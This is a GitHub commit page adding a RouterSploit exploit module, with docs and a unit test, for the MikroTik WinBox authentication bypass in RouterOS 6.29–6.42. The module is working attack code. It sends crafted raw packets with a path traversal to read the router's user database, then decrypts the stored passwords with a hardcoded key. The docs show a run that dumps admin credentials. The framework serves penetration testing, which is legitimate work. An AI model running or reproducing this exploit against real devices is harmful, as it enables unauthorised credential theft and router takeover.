Skip to content

Commit 32405fc

Browse files
authored
Mikrotik Winbox AuthBypass Creds Disclosure (#479)
* Initial Mikrotik WinBox AuthBypass Creds Disclosure exploit * Adding tests and docs
1 parent 67fa6ad commit 32405fc

File tree

4 files changed

+217
-0
lines changed

4 files changed

+217
-0
lines changed
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
## Description
2+
3+
Module bypass authentication through WinBox service in Mikrotik devices version from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20) and retrieves administrative credentials.
4+
5+
## Verification Steps
6+
7+
1. Start `./rsf.py`
8+
2. Do: `use exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure`
9+
3. Do: `set target [TargetIP]`
10+
4. Do: `run`
11+
5. If device is vulnerable administrative credentials are returned.
12+
13+
## Scenarios
14+
15+
```
16+
rsf > use exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure
17+
rsf (Mikrotik WinBox Auth Bypass - Creds Disclosure) > set target 192.168.1.1
18+
[+] target => 192.168.1.1
19+
rsf (Mikrotik WinBox Auth Bypass - Creds Disclosure) > run
20+
[*] Running module...
21+
[*] Connection established
22+
[+] Target seems to be vulnerable
23+
[*] Dumping credentials
24+
25+
Username Password
26+
-------- --------
27+
user1 test
28+
admin admin
29+
admin admin
30+
31+
```
Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
from hashlib import md5
2+
3+
from routersploit.core.exploit import *
4+
from routersploit.core.tcp.tcp_client import TCPClient
5+
6+
7+
class Exploit(TCPClient):
8+
__info__ = {
9+
"name": "Mikrotik WinBox Auth Bypass - Creds Disclosure",
10+
"description": "Module bypass authentication through WinBox service in Mikrotik devices "
11+
"versions from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20) "
12+
"and retrieves administrative credentials.",
13+
"authors": (
14+
"Alireza Mosajjal", # vulnerability discovery, poc exploit
15+
"Mostafa Yalpaniyan", # vulnerablity discovery, poc exploit
16+
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
17+
),
18+
"references": (
19+
"https://n0p.me/winbox-bug-dissection/",
20+
"https://github.com/BasuCert/WinboxPoC",
21+
),
22+
"devices": (
23+
"Mikrotik RouterOS versions from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20)",
24+
)
25+
}
26+
27+
target = OptIP("", "Target IPv4 or IPv6 address")
28+
port = OptPort(8291, "Target WinBox service")
29+
30+
def __init__(self):
31+
self.packet_a = (
32+
b"\x68\x01\x00\x66\x4d\x32\x05\x00\xff\x01\x06\x00\xff\x09\x05\x07"
33+
b"\x00\xff\x09\x07\x01\x00\x00\x21\x35\x2f\x2f\x2f\x2f\x2f\x2e\x2f"
34+
b"\x2e\x2e\x2f\x2f\x2f\x2f\x2f\x2f\x2e\x2f\x2e\x2e\x2f\x2f\x2f\x2f"
35+
b"\x2f\x2f\x2e\x2f\x2e\x2e\x2f\x66\x6c\x61\x73\x68\x2f\x72\x77\x2f"
36+
b"\x73\x74\x6f\x72\x65\x2f\x75\x73\x65\x72\x2e\x64\x61\x74\x02\x00"
37+
b"\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\xff\x88"
38+
b"\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"
39+
)
40+
41+
self.packet_b = (
42+
b"\x3b\x01\x00\x39\x4d\x32\x05\x00\xff\x01\x06\x00\xff\x09\x06\x01"
43+
b"\x00\xfe\x09\x35\x02\x00\x00\x08\x00\x80\x00\x00\x07\x00\xff\x09"
44+
b"\x04\x02\x00\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01"
45+
b"\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"
46+
)
47+
48+
def run(self):
49+
creds = self.get_creds()
50+
if creds:
51+
print_success("Target seems to be vulnerable")
52+
print_status("Dumping credentials")
53+
print_table(("Username", "Password"), *creds)
54+
else:
55+
print_error("Exploit failed - target does not seem to be vulnerable")
56+
57+
@mute
58+
def check(self):
59+
creds = self.get_creds()
60+
if creds:
61+
return True # target is vulnerable
62+
63+
return False # target is not vulnerable
64+
65+
def get_creds(self):
66+
creds = []
67+
tcp_client = self.tcp_connect()
68+
69+
self.tcp_send(tcp_client, self.packet_a)
70+
data = self.tcp_recv(tcp_client, 1024)
71+
72+
if not data or len(data) < 39:
73+
return None
74+
75+
packet = self.packet_b[:19] + data[38:39] + self.packet_b[20:]
76+
77+
self.tcp_send(tcp_client, packet)
78+
data = self.tcp_recv(tcp_client, 1024)
79+
80+
if not data:
81+
return None
82+
83+
self.tcp_close(tcp_client)
84+
85+
creds = self.get_pair(data)
86+
if not creds:
87+
return None
88+
89+
return creds
90+
91+
def decrypt_password(self, user, pass_enc):
92+
key = md5(user + b"283i4jfkai3389").digest()
93+
94+
passw = ""
95+
for i in range(0, len(pass_enc)):
96+
passw += chr(pass_enc[i] ^ key[i % len(key)])
97+
98+
return passw.split("\x00")[0]
99+
100+
def extract_user_pass_from_entry(self, entry):
101+
user_data = entry.split(b"\x01\x00\x00\x21")[1]
102+
pass_data = entry.split(b"\x11\x00\x00\x21")[1]
103+
104+
user_len = user_data[0]
105+
pass_len = pass_data[0]
106+
107+
username = user_data[1:1 + user_len]
108+
password = pass_data[1:1 + pass_len]
109+
110+
return username, password
111+
112+
def get_pair(self, data):
113+
user_list = []
114+
115+
entries = data.split(b"M2")[1:]
116+
for entry in entries:
117+
try:
118+
user, pass_encrypted = self.extract_user_pass_from_entry(entry)
119+
except Exception:
120+
continue
121+
122+
pass_plain = self.decrypt_password(user, pass_encrypted)
123+
user = user.decode("ascii")
124+
125+
user_list.append((user, pass_plain))
126+
127+
return user_list

tests/exploits/routers/mikrotik/__init__.py

Whitespace-only changes.
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
from routersploit.modules.exploits.routers.mikrotik.winbox_auth_bypass_creds_disclosure import Exploit
2+
3+
4+
def test_check_success(tcp_target):
5+
command_mock1 = tcp_target.get_command_mock(
6+
b"\x68\x01\x00\x66\x4d\x32\x05\x00\xff\x01\x06\x00\xff\x09\x05\x07"
7+
b"\x00\xff\x09\x07\x01\x00\x00\x21\x35\x2f\x2f\x2f\x2f\x2f\x2e\x2f"
8+
b"\x2e\x2e\x2f\x2f\x2f\x2f\x2f\x2f\x2e\x2f\x2e\x2e\x2f\x2f\x2f\x2f"
9+
b"\x2f\x2f\x2e\x2f\x2e\x2e\x2f\x66\x6c\x61\x73\x68\x2f\x72\x77\x2f"
10+
b"\x73\x74\x6f\x72\x65\x2f\x75\x73\x65\x72\x2e\x64\x61\x74\x02\x00"
11+
b"\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\xff\x88"
12+
b"\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"
13+
)
14+
command_mock1.return_value = (
15+
b"\x37\x01\x00\x35\x4d\x32\x01\x00\xff\x88\x02\x00\x00\x00\x00\x00"
16+
b"\x08\x00\x00\x00\x02\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00"
17+
b"\x00\x00\x01\x00\xfe\x09\x1b\x03\x00\xff\x09\x02\x02\x00\x00\x08"
18+
b"\x36\x01\x00\x00\x06\x00\xff\x09\x05"
19+
)
20+
21+
command_mock2 = tcp_target.get_command_mock(
22+
b"\x3b\x01\x00\x39\x4d\x32\x05\x00\xff\x01\x06\x00\xff\x09\x06\x01"
23+
b"\x00\xfe\x09\x1b\x02\x00\x00\x08\x00\x80\x00\x00\x07\x00\xff\x09"
24+
b"\x04\x02\x00\xff\x88\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01"
25+
b"\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00"
26+
)
27+
28+
command_mock2.return_value = (
29+
b"\xff\x01\x01\x68\x4d\x32\x01\x00\xff\x88\x02\x00\x00\x00\x00\x00"
30+
b"\x08\x00\x00\x00\x02\x00\xff\x88\x02\x00\x02\x00\x00\x00\x02\x00"
31+
b"\x00\x00\x04\x00\x00\x01\x03\x00\xff\x09\x02\x06\x00\xff\x09\x06"
32+
b"\x03\x00\x00\x30\x36\x01\x57\x00\x4d\x32\x10\x00\x00\xa8\x00\x00"
33+
b"\x1c\x00\x00\x01\x0a\x00\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00"
34+
b"\x09\x00\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01"
35+
b"\x00\xfe\x09\x02\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x00\x11\x00"
36+
b"\x00\x21\x10\x76\x08\xc6\x04\x66\xa6\x3d\x2a\xb7\xcd\xec\x68\xe2"
37+
b"\x6e\x44\x0e\x01\x00\x00\x21\x05\x75\x73\x65\x72\x31\x6d\x69\x6e"
38+
b"\x6a\x00\x4d\x32\x10\x00\x00\xa8\x00\x00\x1c\x00\x00\x01\x0a\x00"
39+
b"\xfe\x00\x05\x00\x00\x09\x00\x06\x00\x00\x09\x00\x0b\x00\x00\x08"
40+
b"\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe\x09\x01\x02\x00"
41+
b"\x00\x09\x03\x09\x00\xfe\x21\x13\x73\x79\x73\x74\x65\x6d\x20\x64"
42+
b"\x65\x66\x61\x75\x6c\x74\x20\x75\x73\x65\x72\x11\x00\x00\x21\x10"
43+
b"\x29\xdb\xb3\x6f\x27\x5a\x0e\x2d\x09\xd5\xfb\x27\xb1\x44\xec\x93"
44+
b"\x01\x00\x00\x21\x05\x61\x64\x6d\x69\x6e\x72\x00\x4d\x32\x10\x00"
45+
b"\x00\x6b\xff\xa8\x00\x00\x1c\x00\x00\x01\x0a\x00\xfe\x00\x05\x00"
46+
b"\x00\x09\x00\x06\x00\x00\x09\x00\x1f\x00\x00\x08\x36\x2b\x35\x5b"
47+
b"\x0b\x00\x00\x08\xfe\xff\x07\x00\x12\x00\x00\x09\x02\x01\x00\xfe"
48+
b"\x09\x01\x02\x00\x00\x09\x03\x09\x00\xfe\x21\x13\x73\x79\x73\x74"
49+
b"\x65\x6d\x20\x64\x65\x66\x61\x75\x6c\x74\x20\x75\x73\x65\x72\x11"
50+
b"\x00\x00\x21\x10\x29\xdb\xb3\x6f\x27\x5a\x0e\x2d\x09\xd5\xfb\x27"
51+
b"\xb1\x44\xec\x93\x01\x00\x00\x21\x05\x61\x64\x6d\x69\x6e"
52+
)
53+
54+
exploit = Exploit()
55+
exploit.target = tcp_target.host
56+
exploit.port = tcp_target.port
57+
58+
assert exploit.check()
59+
assert exploit.run() is None

0 commit comments

Comments
 (0)